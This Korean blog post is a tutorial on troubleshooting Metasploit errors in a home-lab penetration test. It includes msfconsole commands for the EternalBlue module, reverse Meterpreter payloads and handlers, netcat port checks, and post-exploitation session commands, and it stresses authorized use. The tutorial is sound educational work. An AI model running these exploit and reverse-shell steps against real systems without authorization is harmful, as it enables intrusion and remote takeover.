본문 바로가기
IT/보안

[보안] Metasploit 오류 해결: 침투 테스트 중 흔히 겪는 문제와 실전 해결법

by 수누다 2026. 7. 16.
반응형

[보안] Metasploit 오류 해결: 침투 테스트 중 흔히 겪는 문제와 실전 해결법

Metasploit 오류 해결 때문에 검색창을 붙잡고 계셨다면, 아마 지금 딱 비슷한 상황이실 겁니다. 익스플로잇(Exploit, 취약점을 실제로 악용하는 코드)은 분명 맞는 것 같은데 세션(Session, 원격 제어 연결)이 안 뜨고, 옵션도 다 넣은 것 같은데 실행이 실패하고, 어떤 때는 에러 메시지가 너무 짧아서 더 답답하거든요. 저도 홈랩(Home Lab, 개인 실험 환경)에서 모의 해킹 도구를 만지다가 이런 삽질을 정말 많이 했습니다. 처음엔 '내가 뭘 빼먹었지?' 싶었는데, 실제로는 Metasploit 사용법 자체보다 환경 확인과 옵션 검증이 더 중요하더라고요.

이 글에서는 침투 테스트 환경에서 Metasploit 프레임워크를 사용하다가 흔히 만나는 오류를 정리하고, 제가 직접 정리해 둔 체크 순서대로 해결하는 방법을 소개해보겠습니다. 모의 해킹 도구로서 Metasploit의 활용도는 높지만, 반드시 합법적인 테스트 환경이나 명시적 허가를 받은 시스템에서만 사용하셔야 한다는 점도 먼저 짚고 가겠습니다.

Metasploit 오류 해결 전체 흐름을 보여주는 다이어그램

Metasploit 실행 전 점검 항목과 오류 발생 후 확인 순서를 한눈에 보여주는 개요 이미지입니다.

왜 Metasploit 오류 해결이 어려운가

쉽게 말해 Metasploit은 한 개의 프로그램처럼 보여도, 실제로는 여러 요소가 맞물려 돌아갑니다. 대상 호스트(Target Host), 네트워크 경로(Network Path), 익스플로잇 모듈(Module), 페이로드(Payload, 실행 후 전달될 동작), 리스너(Listener, 연결 대기), 권한(Permission)까지 전부 맞아야 하거든요. 그래서 에러 메시지가 하나만 보여도 원인은 여러 군데에 숨어 있을 수 있습니다.

실제로 써보니까 초보 때는 모듈만 맞으면 될 줄 알았는데, 근데 여기서 자주 막히는 건 오히려 이런 기본값입니다.

  • RHOSTSRPORT를 잘못 지정한 경우
  • PAYLOAD가 대상 환경과 맞지 않는 경우
  • LHOST가 잘못되어 역방향 연결(Reverse Connection)이 돌아오지 않는 경우
  • 방화벽(Firewall)이나 NAT(Network Address Translation) 때문에 세션이 차단되는 경우
  • 권한 부족 또는 데이터베이스(Database) 연결 문제

여기서 중요한 포인트! Metasploit 오류 해결은 에러 문구만 읽는 게 아니라, 공격 전제 조건이 맞는지 역으로 검증하는 과정이라고 보시면 됩니다.

Metasploit 사용법 먼저: 오류를 줄이는 기본 점검

저도 처음엔 헷갈렸는데, 본격적으로 문제를 보기 전에 가장 먼저 해야 할 건 현재 모듈 상태를 읽는 습관입니다. 아래 명령은 정말 자주 씁니다.

msfconsole
search smb
use exploit/windows/smb/ms17_010_eternalblue
show info
show options
show payloads

show info는 모듈 설명과 적용 조건을 보여주고, show options는 필수 옵션을, show payloads는 호환 가능한 페이로드 목록을 보여줍니다. 이 세 개만 꼼꼼히 봐도 쓸데없는 시행착오가 꽤 줄어듭니다.

제가 보통 확인하는 순서는 이렇습니다.

  1. 모듈 설명에서 대상 서비스와 플랫폼을 확인해요.
  2. 필수 옵션이 비어 있지 않은지 봅니다.
  3. 대상 포트가 실제로 열려 있는지 별도 도구로 재확인합니다.
  4. 선택한 페이로드가 대상 운영체제와 아키텍처에 맞는지 확인해야 합니다.
  5. 역방향 페이로드(Reverse Payload)라면 LHOST/LPORT가 외부에서 도달 가능한지 체크하세요.

사실 이 과정이 귀찮아서 건너뛰고 싶을 때가 많습니다. 저도 그랬거든요. 근데 이걸 건너뛰면 뒤에서 두 배로 삽질하게 돼요 ㅎㅎ

실전 예시: 기본 실행 흐름부터 안정적으로 잡기

아래는 가장 무난한 형태의 점검 흐름입니다. Metasploit 사용법 중 특정 취약점을 무작정 때리는 것보다, 서비스 확인 후 옵션을 단계적으로 채우는 방식이 오류를 줄이기 훨씬 좋습니다.

msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 4444
show options
run

핸들러(Handler, 연결을 받아주는 리스너)부터 따로 띄워두면 역방향 셸(Reverse Shell) 계열 문제를 분리해서 보기 좋습니다. 이후 대상 서비스 검증 쪽은 별도로 확인하죠.

nc -vz 192.168.56.101 445
nc -vz 192.168.56.101 80

리눅스 환경이라면 nc(netcat) 같은 도구로 포트 응답을 먼저 보는 습관이 정말 도움이 됩니다. 대상이 응답하지 않는데 Metasploit만 계속 만져봐야 답이 안 나오니까요.

Metasploit 오류 해결을 위한 msfconsole 설정 확인 이미지

show options, 페이로드 선택, LHOST/LPORT 설정 흐름을 보여주는 터미널 중심 이미지입니다.

자주 만나는 오류 1: Required options are missing

이건 정말 흔합니다. 메시지 자체는 단순한데, 막상 뭐가 비었는지 못 보고 지나칠 때가 있어요. 보통 RHOSTS, RPORT, USERNAME, PASSWORD, TARGETURI 같은 값이 비어 있습니다.

show options
set RHOSTS 192.168.56.101
set RPORT 445
run

여기서 제가 직접 해보니 중요한 건 옵션을 넣는 것보다 형식을 맞추는 것이더라고요. 예를 들어 여러 대상을 넣을 때는 RHOSTS 형식이 다를 수 있고, 웹 모듈은 TARGETURI가 루트 경로가 아닐 수도 있거든요. 단순히 값이 있다고 끝이 아닙니다.

빠른 점검 체크

  • show options에서 Required 항목이 모두 채워졌는지 확인
  • IP 주소 오타 여부를 다시 한 번 체크
  • 웹 모듈이면 URI 경로 끝에 슬래시가 필요한지 확인
  • 자격 증명 기반 모듈이면 계정 권한 수준도 함께 점검하세요

자주 만나는 오류 2: Exploit completed, but no session was created

이 문구는 초반에 제일 사람 멘탈 흔드는 메시지입니다. 처음엔 이게 뭔가 싶었는데, 성공한 것처럼 보이는데 아무것도 안 생기니까 더 헷갈리거든요. 보통은 아래 원인 중 하나더라고요.

  • 페이로드 비호환: 대상 OS나 아키텍처와 맞지 않음
  • LHOST 문제: 대상이 돌아올 수 없는 IP를 지정함
  • 방화벽 차단: 역방향 연결이 막힘
  • 취약점 조건 불일치: 모듈은 실행됐지만 실제 취약하지 않음
  • 안티바이러스/EDR: 페이로드 실행 단계에서 차단됨

이럴 때 저는 무조건 페이로드를 다시 봅니다.

show payloads
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.56.1
set LPORT 4444
check
run

check가 지원되는 모듈이라면 먼저 실행해 보는 편이 정말 좋습니다. 물론 모든 모듈이 check를 지원하진 않지만, 지원한다면 대상이 취약한지 감을 잡는 데 꽤 도움이 돼요. 그리고 NAT 환경에서 테스트 중이라면 LHOST를 로컬 인터페이스 IP로 잘못 넣는 경우가 정말 많습니다. 저도 이걸로 한참 헤맸더라고요.

자주 만나는 오류 3: Module not found 또는 검색은 되는데 실행이 이상한 경우

가끔은 모듈 경로를 잘못 입력해서 생기는 단순한 문제도 있습니다. 예전 문서나 블로그 글을 그대로 따라치다 보면 현재 프레임워크 구조와 다를 때도 있고요. 그래서 저는 모듈명을 외우기보다 항상 search로 다시 찾습니다.

search type:exploit samba
search name:eternalblue
use exploit/windows/smb/ms17_010_eternalblue

혹시 모듈이 보이지 않거나 이상하게 동작하면, 문서에 나온 이름이 정확한지 다시 보고, 같은 계열의 다른 모듈이 있는지도 비교해 보세요. 같은 서비스라도 보조 모듈(Auxiliary Module, 정보 수집/검증용)과 익스플로잇 모듈이 따로 있는 경우가 많습니다.

구분 역할 언제 쓰면 좋은가
Auxiliary 스캔, 확인, 인증 시도 등 대상 상태를 먼저 검증할 때
Exploit 취약점 악용 시도 취약 조건이 확인된 뒤
Payload 성공 후 실행 동작 세션 획득 또는 명령 실행이 필요할 때
Post 세션 이후 후속 작업 권한 확인, 정보 수집, 내부 이동 전 단계

쉽게 말해, 처음부터 Exploit만 보지 마시고 Auxiliary로 주변 상황부터 확인하면 실패 원인을 분리하기 훨씬 수월합니다.

⚠️ 실제로 많이 겪는 문제 묶음: 권한, 포트, 데이터베이스

이 섹션은 정말 실전에서 자주 튀어나옵니다. Metasploit 오류 해결을 검색하는 분들이 흔히 겪는 케이스만 묶어보면 아래와 같습니다.

1. 포트는 닫혀 있는데 모듈부터 실행한 경우

서비스가 안 떠 있는데 익스플로잇을 날리면 결과가 이상하게 보일 수 있습니다. 그래서 최소한 포트 수준 검증은 먼저 해두는 게 정말 중요합니다.

nc -vz 192.168.56.101 445
nc -vz 192.168.56.101 139

2. 권한 부족 또는 리스닝 실패

낮은 포트 바인딩이나 네트워크 관련 기능은 환경에 따라 권한 이슈가 생길 수 있습니다. 특히 실습 환경이 컨테이너(격리 실행 환경)나 제한된 사용자 계정일 때는 더 그렇더라고요. 에러가 애매하면 먼저 높은 포트로 바꿔 테스트해 보세요.

set LPORT 4444
run

3. 데이터베이스 연결 문제

workspace(워크스페이스), 스캔 결과 연동, 호스트 관리 기능을 쓰다가 데이터베이스 연결이 꼬이면 검색이나 저장 흐름이 불편해질 수 있습니다. 모든 공격이 데이터베이스에 의존하는 건 아니지만, 정리된 침투 테스트 작업에서는 꽤 중요하거든요. 만약 관련 기능이 비정상적으로 보이면 현재 데이터 저장 상태와 연결 상태를 먼저 점검하시는 게 좋습니다.

4. 방화벽 때문에 역방향 세션이 안 돌아오는 경우

이건 진짜 자주 봅니다. 내부망에서는 되는데 다른 망 구간만 지나면 안 되는 식이죠. 이럴 때는 대상에서 내 LHOST로 접속 가능한지 네트워크 경로를 따로 확인해야 합니다. Metasploit이 문제가 아니라 경로가 막힌 경우가 생각보다 많더라고요.

Metasploit 오류 해결에서 자주 겪는 문제를 비교한 이미지

옵션 누락, 세션 미생성, 방화벽 차단, 포트 미오픈 상황을 비교하는 문제 분석 이미지입니다.

문제별로 바로 보는 Metasploit 오류 해결 체크리스트

제가 메모장에 적어두고 보는 순서입니다. 한 번 꼬이기 시작하면 이것저것 바꾸다가 더 헷갈리니까, 가능하면 아래 순서대로만 확인해 보세요.

  1. 대상이 살아 있는지 확인합니다.
  2. 목표 포트가 실제로 열려 있는지 봅니다.
  3. 선택한 모듈이 대상 서비스/플랫폼과 맞는지 재확인합니다.
  4. show options로 필수 값 누락 여부를 체크합니다.
  5. show payloads로 호환 가능한 페이로드를 다시 골라봅니다.
  6. LHOST/LPORT가 실제로 되돌아올 수 있는 값인지 확인해야 합니다.
  7. check가 있으면 먼저 실행해 보세요.
  8. 방화벽, NAT, 권한 문제를 분리해서 봅니다.

이 순서의 장점은 원인을 좁히기 정말 쉽다는 점입니다. 저도 예전엔 세션이 안 생기면 페이로드만 계속 바꿨었는데, 실제 원인은 대상 포트 오타였던 적도 있었습니다. 드디어 됐다! 싶었는데 너무 허무하더라고요.

검증과 결과 확인: 성공했을 때 무엇을 봐야 하나

세션이 떴다고 끝은 아닙니다. 성공 후에도 검증이 필요한데요. Meterpreter(고급 페이로드 세션)든 일반 셸이든, 최소한 아래 정도는 확인해 두시는 게 좋습니다.

sessions
sessions -i 1
sysinfo
getuid

이 명령으로 현재 세션 목록, 대상 시스템 정보, 실행 권한을 확인할 수 있습니다. 세션이 생겼더라도 기대한 권한이 아닐 수 있고, 다른 호스트에서 온 세션일 수도 있거든요. 실습 환경이 여러 대일 때 특히 헷갈립니다.

Metasploit 오류 해결 후 세션 검증 결과를 보여주는 이미지

sessions, sysinfo, getuid 등으로 세션 성공 여부를 검증하는 결과 확인 이미지입니다.

아래처럼 결과를 정리해 두면 다음 테스트 때도 훨씬 편합니다.

확인 항목 성공 기준 실패 시 의심 포인트
세션 생성 sessions 목록에 표시 페이로드, 방화벽, LHOST
대상 정보 조회 sysinfo 응답 확인 세션 불안정, 권한 제한
권한 확인 getuid 결과 확인 권한 상승 미적용, 제한 계정
후속 모듈 실행 post 모듈 동작 플랫폼 불일치, 세션 타입 문제

정리와 FAQ: 침투 테스트에서 덜 헤매는 방법

정리해보면 Metasploit 사용법 자체는 명령 몇 개로 보이지만, 실제 현장에서는 환경 검증이 절반 이상입니다. Metasploit 오류 해결이 어려운 이유도 결국 여기에 있고요. 제가 인프라 관련 일을 하면서 느낀 건, 도구를 더 많이 아는 것보다 문제를 작게 쪼개서 확인하는 습관이 훨씬 중요하다는 점입니다.

혹시 이런 경험 있으신가요? 분명 같은 명령인데 어제는 되고 오늘은 안 되는 경우요. 이런 건 대체로 네트워크 경로나 대상 상태가 바뀐 경우가 많습니다. 그러니 실패했을 때는 내 명령이 틀렸다고 바로 단정하지 말고, 아래 FAQ처럼 체크해 보시면 좋습니다.

자주 묻는 질문

  • Q. 모듈은 맞는데 세션이 안 생깁니다.
    A. 페이로드 호환성, LHOST 경로, 방화벽 차단을 먼저 보세요. 이 세 가지가 가장 흔합니다.
  • Q. check 결과가 애매합니다.
    A. check는 참고 지표로 보시고, 포트 상태와 서비스 버전 추정 정보를 함께 확인하는 편이 안전합니다.
  • Q. 침투 테스트에서 어디부터 자동화해야 하나요?
    A. 옵션 템플릿, 결과 기록, 검증 순서를 먼저 정형화하는 게 좋습니다. 모의 해킹 도구 자동화보다 이쪽이 실수가 적더라고요.

다음 글에서는 모의 해킹 도구를 여러 개 섞어 쓸 때, Nmap과 Metasploit 사이에서 정보를 어떻게 연결하면 좋은지 제 홈랩 기준으로 정리해볼 예정입니다. 이전 글에서 다뤘던 네트워크 기본 점검 습관과도 이어지는 내용이라 같이 보시면 흐름이 더 잘 잡히실 겁니다.

Metasploit 오류 해결 핵심 포인트를 정리한 요약 이미지

문제 원인별 점검 순서와 핵심 해결 포인트를 요약한 마무리 인포그래픽입니다.

마지막으로 한 번 더 말씀드리면, 이 글의 예시는 교육용·실습용 맥락에서만 봐야 합니다. 허가받은 환경에서만 테스트하시고, 실제 운영망에서는 절차와 승인부터 챙기시는 게 정답입니다. 그 기본만 지켜도 Metasploit 같은 모의 해킹 도구를 훨씬 건강하게 오래 쓸 수 있더라고요.

반응형